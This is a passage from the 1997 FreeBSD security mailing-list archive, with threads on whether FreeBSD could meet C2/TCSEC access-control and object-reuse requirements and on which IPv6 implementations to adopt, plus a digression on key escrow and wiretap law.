(8.8.7/8.8.7) with ESMTP id IAA24131 for ; Tue, 14 Oct 1997 08:33:12 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.8.5/8.8.5) id LAA13155; Tue, 14 Oct 1997 11:32:59 -0400 (EDT) Date: Tue, 14 Oct 1997 11:32:59 -0400 (EDT) From: Garrett Wollman Message-Id: <199710141532.LAA13155@khavrinen.lcs.mit.edu> To: Petri Helenius Cc: freebsd-security@FreeBSD.ORG Subject: Re: IPv6 sources w/out export restriction In-Reply-To: <199710141354.QAA21928@silver.sms.fi> References: <19970924075951.46946@keltia.freenix.fr> <199710141354.QAA21928@silver.sms.fi> Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk < said: > This is why the code should be checked into CURRENT as my impression > is that although it undergoes ongoing development, it's still very > non-distruptive to non-ipv6 stuff so it would not hurt to be there. There are just too d*mn many IP{v6 implementations at this point to choose any one of them to officially support. (They all have enough things wrong with them...) -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Tue Oct 14 08:38:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA24551 for security-outgoing; Tue, 14 Oct 1997 08:38:55 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from stt3.com (root@stt3.com [198.107.49.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA24542; Tue, 14 Oct 1997 08:38:50 -0700 (PDT) (envelope-from beattie@stt3.com) Received: from durin(really [192.168.0.88]) by stt3.com via sendmail with smtp id for ; Tue, 14 Oct 1997 08:37:56 -0700 (PDT) (Smail-3.2 1996-Jul-4 #1 built 1997-Mar-5) Date: Tue, 14 Oct 1997 08:37:54 -0700 (PDT) From: Brian Beattie X-Sender: beattie@durin To: Christopher Petrilli cc: Brian Mitchell , Colman Reilly , Douglas Carmichael , freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710132110.RAA29578@dworkin.amber.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 13 Oct 1997, Christopher Petrilli wrote: > It is not "mandatory," however the following paragraph exerpted from the > TCSEC does make it clear that the exisintg group mechanism is NOT > acceptable: > > "The access controls shall be capable of including or excluding > access > to the granulairty of a single user." > > This exclusion part is what makes it very difficult. You must be capable > of giving access to everyone BUT a specific user. While theoretically I > guess you could do it by managing billions of sepereate groups, I think > it would fail none the less because of practical enforcement concerns. > This is an over-rigous reading of this requirement. The Gould (B1?) system made it clear that UNIX access control meets this requirement. This can be understood when you read the requirement to say that: it must be possible to exclude access to an object by one particular user. This does not say that the system must provide a mechanizim to exclude access to an object by everyuser on a user-by-user basis, a requirement every system would fail. When reading the Orange Book, remember that to meet the requirements it is in general sufficent to meet only the minumum requirements. The authors were very careful is laying out the requirements with-out makeing asumptions on how they might be met. From owner-freebsd-security Tue Oct 14 08:40:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA24734 for security-outgoing; Tue, 14 Oct 1997 08:40:17 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from stt3.com (root@stt3.com [198.107.49.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA24713; Tue, 14 Oct 1997 08:40:10 -0700 (PDT) (envelope-from beattie@stt3.com) Received: from durin(really [192.168.0.88]) by stt3.com via sendmail with smtp id for ; Tue, 14 Oct 1997 08:39:21 -0700 (PDT) (Smail-3.2 1996-Jul-4 #1 built 1997-Mar-5) Date: Tue, 14 Oct 1997 08:39:19 -0700 (PDT) From: Brian Beattie X-Sender: beattie@durin To: Terry Lambert cc: Brian Mitchell , careilly@monoid.cs.tcd.ie, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710140030.RAA15890@usr07.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997, Terry Lambert wrote: > > For those who want to learn more, the final evaluation reports for several > > trusted unixes are available online. Trusted Xenix being one of the more > > interesting ones (b2) - TIRIX is also online (b1) and NT (c2). > > [ ... ] > > You can not certify an OS. You can only certify an OS installed on a > platform. > > Each different piece of hardware you run it on requires a seperate > certification. > > The certification costs are just the man hours required to run the > tests, for what that's worth. > > Plus travel, phone, fax etc... From owner-freebsd-security Tue Oct 14 08:46:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA25284 for security-outgoing; Tue, 14 Oct 1997 08:46:53 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from stt3.com (root@stt3.com [198.107.49.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA25264; Tue, 14 Oct 1997 08:46:47 -0700 (PDT) (envelope-from beattie@stt3.com) Received: from durin(really [192.168.0.88]) by stt3.com via sendmail with smtp id for ; Tue, 14 Oct 1997 08:45:55 -0700 (PDT) (Smail-3.2 1996-Jul-4 #1 built 1997-Mar-5) Date: Tue, 14 Oct 1997 08:45:54 -0700 (PDT) From: Brian Beattie X-Sender: beattie@durin To: "Matthew D. Fuller" cc: Christopher Petrilli , Brian Mitchell , Colman Reilly , Douglas Carmichael , freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 13 Oct 1997, Matthew D. Fuller wrote: > On Mon, 13 Oct 1997, Christopher Petrilli wrote: > > > >I'm fairly certain acl is _not_ a requirement in the dcl segment of c2. > > >acl is, after all, just another form of group control at its very base. > > > > It is not "mandatory," however the following paragraph exerpted from the > > TCSEC does make it clear that the exisintg group mechanism is NOT > > acceptable: > > > > "The access controls shall be capable of including or excluding > > access > > to the granulairty of a single user." > I could be just being stupid here, but can't you do this by making > everyone a member of a group with their login ID, and them only as a > member and setting the file to (owner).user, mode 707, or something? > Wouldn't that give everyone but that persona ccess to it? > Did anyone even follow that? not too clear, is it... > Some people often read this requirement to mean that it must be possible to set access rights on a file to exclude some arbitrary set of users. To do this you need one group for each permutation of users. Techincally possible but infeasable. In fact I agree with your interpretation and I believe so do the evaluators and most people in the INFOSEC community. From owner-freebsd-security Tue Oct 14 08:49:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA25490 for security-outgoing; Tue, 14 Oct 1997 08:49:51 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dworkin.amber.org (petrilli@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA25476 for ; Tue, 14 Oct 1997 08:49:45 -0700 (PDT) (envelope-from petrilli@amber.org) Received: from localhost (petrilli@localhost) by dworkin.amber.org (8.8.7/8.8.7) with SMTP id LAA02332; Tue, 14 Oct 1997 11:49:20 -0400 (EDT) Date: Tue, 14 Oct 1997 11:49:20 -0400 (EDT) From: "Christopher G. Petrilli" To: Brian Beattie cc: Brian Mitchell , Colman Reilly , Douglas Carmichael , freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997, Brian Beattie wrote: > > This exclusion part is what makes it very difficult. You must be capable > > of giving access to everyone BUT a specific user. While theoretically I > > guess you could do it by managing billions of sepereate groups, I think > > it would fail none the less because of practical enforcement concerns. > > This is an over-rigous reading of this requirement. The Gould (B1?) > system made it clear that UNIX access control meets this requirement. > This can be understood when you read the requirement to say that: it must > be possible to exclude access to an object by one particular user. This > does not say that the system must provide a mechanizim to exclude access > to an object by everyuser on a user-by-user basis, a requirement every > system would fail. While you're right that the UNIX system might meet minimum requirements, it would become unworkable in practice, and thereby I think we need to investigate the idea of ACLs implemented in to the FS. This has other distinct advantages that are not always obvious. At a company I used to work at we had a system with 12,000 accounts (database system, long story), and it used groups to enforce access. On this system we had over 1,500 groups, and I can testify that it was nearly impossible to maintain them in any coherent strategy. I'd like to see us move forward with perhaps a new paradigm in managing access control to files, using strong inheraatence principles (i.e. allow files to be restricted while inheriting the restrictions of the directory, without having to necessarily ittterate them). I think this would help in pushing into a unified access control system for all access to the file system. Why not allow unification of web/non-web access into a single ACL structure? > When reading the Orange Book, remember that to meet the requirements it is > in general sufficent to meet only the minumum requirements. The authors > were very careful is laying out the requirements with-out makeing > asumptions on how they might be met. You're absolutely rtight, but realistic interpretation says C2 is largely useless. I'd like to see FreeBSD pursue red-book interpretations of the TCSEC rather than some standalone idea. For note, Windows NT is certified C2, but only when it doesn't have a network card or floppy in it. Since this is silly, we need to understand the world is now networked and pursue the architecture from that perspective. For example... implementation of policy-based and labelled VLANs thru cryptographic enforcement and virtual-interfaces (B2 requires manadatory labeling of all interfaces, and currently, almost all B2 certified systems have a "single-level" interface). This would allow you to have a trusted management network layered on top of the main network. This begins to make the MLS system concepts usable in a more realistic manner. Chris From owner-freebsd-security Tue Oct 14 08:54:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA25762 for security-outgoing; Tue, 14 Oct 1997 08:54:10 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dworkin.amber.org (petrilli@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA25755 for ; Tue, 14 Oct 1997 08:54:04 -0700 (PDT) (envelope-from petrilli@amber.org) Received: from localhost (petrilli@localhost) by dworkin.amber.org (8.8.7/8.8.7) with SMTP id LAA02491; Tue, 14 Oct 1997 11:53:55 -0400 (EDT) Date: Tue, 14 Oct 1997 11:53:55 -0400 (EDT) From: "Christopher G. Petrilli" To: Brian Beattie cc: "Matthew D. Fuller" , Brian Mitchell , Colman Reilly , Douglas Carmichael , freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997, Brian Beattie wrote: > > I could be just being stupid here, but can't you do this by making > > everyone a member of a group with their login ID, and them only as a > > member and setting the file to (owner).user, mode 707, or something? > > Wouldn't that give everyone but that persona ccess to it? > > Did anyone even follow that? not too clear, is it... > > Some people often read this requirement to mean that it must be possible > to set access rights on a file to exclude some arbitrary set of users. To > do this you need one group for each permutation of users. Techincally > possible but infeasable. In fact I agree with your interpretation and I > believe so do the evaluators and most people in the INFOSEC community. According to the local NSA rep sitting down the hall, this is incorrect, and the INTENT is to allow for abritrary groups to be excluded from an arbitrary number of files. While you're absolutely correct that in PRACTICE this would be ok on a system with a relatively small number of users, remember that the orange book deals with stand-alone systems, which traditionally have had large numbers of users. Obviously we can all do the permutation calculations even when we hit 100 users the theoretical problem is enormous. See my previous message abouy why we should evaluate ACL structures regardless of what we do in regards C2 certification. Chris From owner-freebsd-security Tue Oct 14 08:50:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA25546 for security-outgoing; Tue, 14 Oct 1997 08:50:14 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from obie.softweyr.ml.org ([199.104.124.49]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA25541 for ; Tue, 14 Oct 1997 08:50:10 -0700 (PDT) (envelope-from wes@xmission.com) Received: (from wes@localhost) by obie.softweyr.ml.org (8.7.5/8.6.12) id JAA10419; Tue, 14 Oct 1997 09:56:38 -0600 (MDT) Date: Tue, 14 Oct 1997 09:56:38 -0600 (MDT) Message-Id: <199710141556.JAA10419@obie.softweyr.ml.org> From: Wes Peters To: Christopher Petrilli CC: security@freebsd.org Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710132110.RAA29578@dworkin.amber.org> References: <199710132110.RAA29578@dworkin.amber.org> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Christopher Petrilli writes: > It is not "mandatory," however the following paragraph exerpted from the > TCSEC does make it clear that the exisintg group mechanism is NOT > acceptable: > > "The access controls shall be capable of including or excluding > access > to the granulairty of a single user." > > This exclusion part is what makes it very difficult. You must be capable > of giving access to everyone BUT a specific user. While theoretically I > guess you could do it by managing billions of sepereate groups, I think > it would fail none the less because of practical enforcement concerns. Nope. The Sun C2 security system used only group controls. This is the U.S. government, there are *no* concerns about practical enforcement. In their view, if any mechanism is provided, their slaves can be beaten into writing procedures that will correctly use the supplied mechanism, clumsy as it may be. > THat having been said, there is one other requirement that would need to > be addressed: > > * Object Reuse (2.2.1.2) > > THis is defined as follows: > > "All authorizations to the information contained iwthin a storage object > shall be revoked prior to initial assignment, allocation or reallocation > to a subject from the TCB's pool of unused storage objects. No > information, including encrypted representations of information, produced > by a prior subject's actions is to be available to any subject that > obtains access to an object that has been released back to the system." > > Basically, we need to purge all memor when it is allocated, or > deallocated. Has to be deallocated, unless you want to maintain ownership credentials of the deallocated pools. The act of returning a block of memory to the "free" pool changes its ownership. There is an existing standard for reclaiming memory in C2 systems. If I remember correctly, you have to overwrite each bit with successive 1 and 0 for 100 cycles. This is pretty cpu intensive, but can be done pretty easily by modify sbrk and friends. I guess in the post 2.2 world, it would be munmap that gets mangled, right? > Other than that, it's mostly documentation, and audit. I would really > prefer to do an ACL extension to the file system, as I think it's useful > as it is :-) Agreed. A simple but useful ACL system, like the one in HP-UX, is a very nice system administration tool. It also makes for amusing jokes, where you can put an ACL on a user's file so he can read it but not write it. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.xmission.com/~softweyr softweyr@xmission.com From owner-freebsd-security Tue Oct 14 08:54:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA25779 for security-outgoing; Tue, 14 Oct 1997 08:54:49 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from silver.sms.fi (silver.sms.fi [194.111.122.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA25774 for ; Tue, 14 Oct 1997 08:54:43 -0700 (PDT) (envelope-from pete@silver.sms.fi) Received: (from pete@localhost) by silver.sms.fi (8.8.7/8.7.3) id SAA22187; Tue, 14 Oct 1997 18:54:03 +0300 (EEST) Date: Tue, 14 Oct 1997 18:54:03 +0300 (EEST) Message-Id: <199710141554.SAA22187@silver.sms.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Petri Helenius To: Garrett Wollman Cc: freebsd-security@FreeBSD.ORG Subject: Re: IPv6 sources w/out export restriction In-Reply-To: <199710141532.LAA13155@khavrinen.lcs.mit.edu> References: <19970924075951.46946@keltia.freenix.fr> <199710141354.QAA21928@silver.sms.fi> <199710141532.LAA13155@khavrinen.lcs.mit.edu> X-Mailer: VM 6.22 under 19.15p7 XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Garrett Wollman writes: > < said: > > > This is why the code should be checked into CURRENT as my impression > > is that although it undergoes ongoing development, it's still very > > non-distruptive to non-ipv6 stuff so it would not hurt to be there. > > There are just too d*mn many IP{v6 implementations at this point to > choose any one of them to officially support. (They all have enough > things wrong with them...) > What other working implementations there are in addition to the INRIA one (for FreeBSD)? How does one get one of these? What's wrong with the INRIA one? Pete From owner-freebsd-security Tue Oct 14 08:56:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA25946 for security-outgoing; Tue, 14 Oct 1997 08:56:14 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from obie.softweyr.ml.org ([199.104.124.49]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA25939 for ; Tue, 14 Oct 1997 08:56:10 -0700 (PDT) (envelope-from wes@xmission.com) Received: (from wes@localhost) by obie.softweyr.ml.org (8.7.5/8.6.12) id KAA10425; Tue, 14 Oct 1997 10:01:37 -0600 (MDT) Date: Tue, 14 Oct 1997 10:01:37 -0600 (MDT) Message-Id: <199710141601.KAA10425@obie.softweyr.ml.org> From: Wes Peters To: Terry Lambert CC: security@freebsd.org Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710140042.RAA16597@usr07.primenet.com> References: <199710140042.RAA16597@usr07.primenet.com> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Terry Lambert writes: > > > Basically, we need to purge all memor when it is allocated, or > > > deallocated. > > > > yah, when we release something back into a system, we have to bzero() the > > contents, or something similar. > > This is interesting. Can you give a small sample program for accessing > data from another program? As far as I know, pages are either filled > from a swap store (and contain data accessable to you) or zero-filled; > I can't think of a way (off the top of my head) to make this not true. There are no incidences in which pages are returned to you with previous random cruft left in them? And besides, zero-filling memory isn't sufficient, it has to be overwritten a number of times to make sure now residual information can be obtained. These standards date back to core and even mercury-wire memory. Yes, I've actually worked with computers that feature *both* in my career. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.xmission.com/~softweyr softweyr@xmission.com From owner-freebsd-security Tue Oct 14 08:58:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA26070 for security-outgoing; Tue, 14 Oct 1997 08:58:07 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from obie.softweyr.ml.org ([199.104.124.49]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA26065 for ; Tue, 14 Oct 1997 08:58:02 -0700 (PDT) (envelope-from wes@xmission.com) Received: (from wes@localhost) by obie.softweyr.ml.org (8.7.5/8.6.12) id KAA10428; Tue, 14 Oct 1997 10:04:46 -0600 (MDT) Date: Tue, 14 Oct 1997 10:04:46 -0600 (MDT) Message-Id: <199710141604.KAA10428@obie.softweyr.ml.org> From: Wes Peters To: Christopher Petrilli CC: security@freebsd.org Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710140208.WAA00781@dworkin.amber.org> References: <199710140208.WAA00781@dworkin.amber.org> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Christopher Petrilli writes: > But what about when you have 10,000 users, and you need 486 of them to > not have access? Do you see the issue of performance slowly creeping up > when yyou have 50,000 groups? This becomes a hideous nightmare. Right. A "secure" system with 10,000 users. You obviously don't understand security in the same way the government does. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.xmission.com/~softweyr softweyr@xmission.com From owner-freebsd-security Tue Oct 14 08:59:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA26207 for security-outgoing; Tue, 14 Oct 1997 08:59:49 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA26200 for ; Tue, 14 Oct 1997 08:59:46 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.8.5/8.8.5) id LAA13260; Tue, 14 Oct 1997 11:59:37 -0400 (EDT) Date: Tue, 14 Oct 1997 11:59:37 -0400 (EDT) From: Garrett Wollman Message-Id: <199710141559.LAA13260@khavrinen.lcs.mit.edu> To: Petri Helenius Cc: freebsd-security@FreeBSD.ORG Subject: Re: IPv6 sources w/out export restriction In-Reply-To: <199710141554.SAA22187@silver.sms.fi> References: <19970924075951.46946@keltia.freenix.fr> <199710141354.QAA21928@silver.sms.fi> <199710141532.LAA13155@khavrinen.lcs.mit.edu> <199710141554.SAA22187@silver.sms.fi> Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk < said: > What other working implementations there are in addition to the INRIA > one (for FreeBSD)? There's the DARTNET one based on the NRL code (which is radically restructured every week or so I'm told, making it difficult to keep a stable code base). There's the one from WIDE in Japan. I've talked with people who know of others, but I can't be more specific. IPv6 right now is a research vehicle. It will not be production technology for some years. It would be very, very premature to incorporate any one implementation into our source tree at this time. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Tue Oct 14 09:01:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA26365 for security-outgoing; Tue, 14 Oct 1997 09:01:19 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dworkin.amber.org (petrilli@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA26359 for ; Tue, 14 Oct 1997 09:01:13 -0700 (PDT) (envelope-from petrilli@amber.org) Received: from localhost (petrilli@localhost) by dworkin.amber.org (8.8.7/8.8.7) with SMTP id MAA02819; Tue, 14 Oct 1997 12:01:44 -0400 (EDT) Date: Tue, 14 Oct 1997 12:01:44 -0400 (EDT) From: "Christopher G. Petrilli" To: Wes Peters cc: security@freebsd.org Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710141604.KAA10428@obie.softweyr.ml.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997, Wes Peters wrote: > Christopher Petrilli writes: > > But what about when you have 10,000 users, and you need 486 of them to > > not have access? Do you see the issue of performance slowly creeping up > > when yyou have 50,000 groups? This becomes a hideous nightmare. > > Right. A "secure" system with 10,000 users. You obviously don't > understand security in the same way the government does. ;^) Oh, how odd that is :-) I used to have access to a system in use by the DoD which had almost 20 THOUSAND users on it that was run at B2 level. I'm just addressing that there will be people that need to have a LOT of accounts. Chris From owner-freebsd-security Tue Oct 14 09:39:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA29027 for security-outgoing; Tue, 14 Oct 1997 09:39:04 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from silver.sms.fi (silver.sms.fi [194.111.122.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA29019 for ; Tue, 14 Oct 1997 09:38:58 -0700 (PDT) (envelope-from pete@silver.sms.fi) Received: (from pete@localhost) by silver.sms.fi (8.8.7/8.7.3) id TAA22353; Tue, 14 Oct 1997 19:38:36 +0300 (EEST) Date: Tue, 14 Oct 1997 19:38:36 +0300 (EEST) Message-Id: <199710141638.TAA22353@silver.sms.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Petri Helenius To: Garrett Wollman Cc: freebsd-security@FreeBSD.ORG Subject: Re: IPv6 sources w/out export restriction In-Reply-To: <199710141559.LAA13260@khavrinen.lcs.mit.edu> References: <19970924075951.46946@keltia.freenix.fr> <199710141354.QAA21928@silver.sms.fi> <199710141532.LAA13155@khavrinen.lcs.mit.edu> <199710141554.SAA22187@silver.sms.fi> <199710141559.LAA13260@khavrinen.lcs.mit.edu> X-Mailer: VM 6.22 under 19.15p7 XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Garrett Wollman writes: > There's the DARTNET one based on the NRL code (which is radically > restructured every week or so I'm told, making it difficult to keep a > stable code base). There's the one from WIDE in Japan. I've talked > with people who know of others, but I can't be more specific. > > IPv6 right now is a research vehicle. It will not be production > technology for some years. It would be very, very premature to > incorporate any one implementation into our source tree at this time. > I've always thought that in addition of being a wonderful production platform the *BSD platforms are also research vechiles but it seems that the code is missing some modularity Linux has since they have a "beta V6 addon" which fits onto various releases of the OS. Pete From owner-freebsd-security Tue Oct 14 10:08:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA01661 for security-outgoing; Tue, 14 Oct 1997 10:08:33 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from coconut.itojun.org (root@coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA01653 for ; Tue, 14 Oct 1997 10:08:28 -0700 (PDT) (envelope-from itojun@itojun.org) From: itojun@itojun.org Received: from localhost (itojun@localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.8.5/3.6Wbeta6) with ESMTP id CAA22477; Wed, 15 Oct 1997 02:07:51 +0900 (JST) To: Garrett Wollman cc: freebsd-security@FreeBSD.ORG In-reply-to: wollman's message of Tue, 14 Oct 1997 11:59:37 -0400. <199710141559.LAA13260@khavrinen.lcs.mit.edu> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: IPv6 sources w/out export restriction Date: Wed, 15 Oct 1997 02:07:50 +0900 Message-ID: <22473.876848870@coconut.itojun.org> Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> What other working implementations there are in addition to the INRIA >> one (for FreeBSD)? >There's the DARTNET one based on the NRL code (which is radically >restructured every week or so I'm told, making it difficult to keep a >stable code base). There's the one from WIDE in Japan. I've talked >with people who know of others, but I can't be more specific. For more information about WIDE's implementation, see http://www.v6.wide.ad.jp/. (or ask me :-P) Ours include IPsec, and (at this moment) there's no legal restriction on crypto-export in Japan. We are trying hard to make a public release soon. itojun From owner-freebsd-security Tue Oct 14 10:31:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA03666 for security-outgoing; Tue, 14 Oct 1997 10:31:58 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from po1.glue.umd.edu (root@po1.glue.umd.edu [128.8.10.97]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA03646; Tue, 14 Oct 1997 10:31:51 -0700 (PDT) (envelope-from crb@Glue.umd.edu) Received: from stochastic.eng.umd.edu (crb@stochastic.eng.umd.edu [129.2.98.139]) by po1.glue.umd.edu (8.8.7/8.8.7) with ESMTP id NAA26469; Tue, 14 Oct 1997 13:31:35 -0400 (EDT) Received: from localhost (crb@localhost) by stochastic.eng.umd.edu (8.8.7/8.8.7) with SMTP id NAA02933; Tue, 14 Oct 1997 13:30:57 -0400 (EDT) X-Authentication-Warning: stochastic.eng.umd.edu: crb owned process doing -bs Date: Tue, 14 Oct 1997 13:30:56 -0400 (EDT) From: "Christopher R. Bowman" X-Sender: crb@stochastic.eng.umd.edu To: Terry Lambert cc: dkelly@hiwaay.net, freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710141240.FAA01458@usr02.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997, Terry Lambert wrote: > > Remember, for the most part we're talking about security specs brought to > > you by the same government that would limit cryptography to key escrow > > techniques. > > The FBI web page has a link explaining their position: legally obtained > wire taps. Yes but this is the wrong analogy, the FBI claims that because they would have had an undisputed right to wire tap under current law, we individuals should take actions to insure that they can do something (namely break a code) they otherwise would be unable to physically do A closer analogy would be as follows: we citizens should keep a recording of all conversations we make in public since the FBI would have a right to have audio tape recoders for every square inch of the USA but they physically can't do, even thought we would have no expectation of privacy for conversation held out doors on a private street.` > I can't help thinking that, even though this doesn't violate search > and seizure (since wire taps a re performed with due process of law, > needing a court order), it probably violates compelling one to > testify against oneself. The proper question isn't weather we have due process, at it's base due process only means you get notice, a hearing and treated like everyone else, meaning that it's ok to screw poeple as long as we let you argue your side, and we screw everybody. The real problem is that it violates article four of the bill of rights. To force everyone to leave their front door open because a few people might be storing contraband is unreasonable and thus these actions violate our 4 amendment rights. Sadly our Supreme Court hasn't quite seen it this way (see for example court decisions up holding sobriety check points) and we the people have refused to help them see the light. > Unless you can get wire taps thrown out altogether, then strong > cryptography is potentiatially an act of obstruction of justice, > and the FBI has a point of law in their favor. If the keys to your transmissions are stored only in your head (or better yet discarded after the transmission) it is not obstruction of justice, on the one hand you can't be compelled to disclose any information you don't have, and on the other you can't be compelled to give any information that might incriminate you (unless you decide to testify or are granted imunity for any crime that you may divulge information about) It is only an obstruction of justice if the information you are forced to disclose is not incriminating or leads to incriminating information. > Personally, I think all wire taps should be illegal on the basis > of them being an act of compelling someone to testify against > themselves. But until someone tests this (probably a real criminal, > unfortunately) and gets the evidence thrown out as unconstitutionally > obtained, then existing case law favors Key Escrow. > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > --------- Christopher R. Bowman crb@Glue.umd.edu My home page From owner-freebsd-security Tue Oct 14 10:53:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA05535 for security-outgoing; 